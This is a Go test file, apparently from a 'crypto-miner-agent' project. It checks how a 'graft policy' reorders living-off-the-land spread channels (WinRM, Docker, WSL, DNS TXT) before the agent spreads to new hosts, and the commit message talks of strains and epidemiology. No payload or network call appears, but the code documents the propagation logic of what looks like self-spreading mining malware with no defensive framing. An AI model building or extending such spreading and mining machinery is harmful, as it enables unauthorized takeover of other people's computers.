Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
52 lines
1.5 KiB
Go
52 lines
1.5 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func TestApplyGraftPolicyQueuesForNextSpread(t *testing.T) {
|
|
c := &AgentClient{
|
|
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
|
|
}},
|
|
}
|
|
raw, _ := json.Marshal(GraftPolicy{
|
|
GraftSourceStrain: "#aabbcc",
|
|
GraftTier: "winrm",
|
|
GraftApprovedAt: "2026-06-07T12:00:00Z",
|
|
TierOrder: []string{"winrm", "docker", "wsl"},
|
|
SourceAgentName: "worker-07",
|
|
})
|
|
c.applyGraftPolicyJSON(raw)
|
|
if c.pendingGraft == nil || c.pendingGraft.GraftTier != "winrm" {
|
|
t.Fatalf("pendingGraft=%+v", c.pendingGraft)
|
|
}
|
|
before := append([]string(nil), c.cfg.LotlOnionTiers...)
|
|
spreadCfg := c.cfgForSpread()
|
|
if spreadCfg.LotlOnionTiers[0] != "winrm" {
|
|
t.Fatalf("spread tiers = %v", spreadCfg.LotlOnionTiers)
|
|
}
|
|
if c.pendingGraft != nil {
|
|
t.Fatal("graft should be consumed after cfgForSpread")
|
|
}
|
|
if before[0] == spreadCfg.LotlOnionTiers[0] && len(before) == len(spreadCfg.LotlOnionTiers) {
|
|
// original cfg unchanged until spread
|
|
if c.cfg.LotlOnionTiers[0] == "winrm" {
|
|
t.Fatal("base cfg should not mutate before spread")
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGraftPolicyAuthRoundTrip(t *testing.T) {
|
|
raw, _ := json.Marshal(GraftPolicy{GraftTier: "dns_txt", TierOrder: []string{"dns_txt"}})
|
|
var resp AuthResponse
|
|
resp.GraftPolicy = raw
|
|
if !graftPolicyPresent(resp.GraftPolicy) {
|
|
t.Fatal("expected graft present")
|
|
}
|
|
}
|